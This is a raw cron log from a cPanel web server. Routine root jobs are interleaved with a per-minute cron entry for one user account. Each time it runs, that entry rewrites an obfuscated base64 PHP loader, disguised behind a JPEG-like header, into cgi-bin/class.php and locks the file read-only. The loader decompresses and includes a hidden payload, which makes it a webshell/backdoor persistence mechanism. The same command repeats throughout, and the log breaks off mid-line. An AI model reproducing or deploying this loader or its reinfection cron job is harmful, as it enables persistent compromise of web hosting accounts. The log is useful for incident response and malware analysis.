Apr 12 01:45:01 server CROND[5650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:45:01 server CROND[5651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:46:01 server CROND[5760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:47:01 server CROND[5913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:48:01 server CROND[5961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:49:01 server CROND[6027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:50:01 server CROND[6094]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:50:01 server CROND[6095]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 01:50:01 server CROND[6096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:50:01 server CROND[6097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:50:01 server CROND[6099]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 01:51:01 server CROND[6213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:52:01 server CROND[6361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:53:01 server CROND[6423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:54:01 server CROND[6477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:55:01 server CROND[6544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:55:01 server CROND[6545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:55:01 server CROND[6546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:56:01 server CROND[6663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:57:01 server CROND[6722]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 01:57:01 server CROND[6723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:58:01 server CROND[6901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiY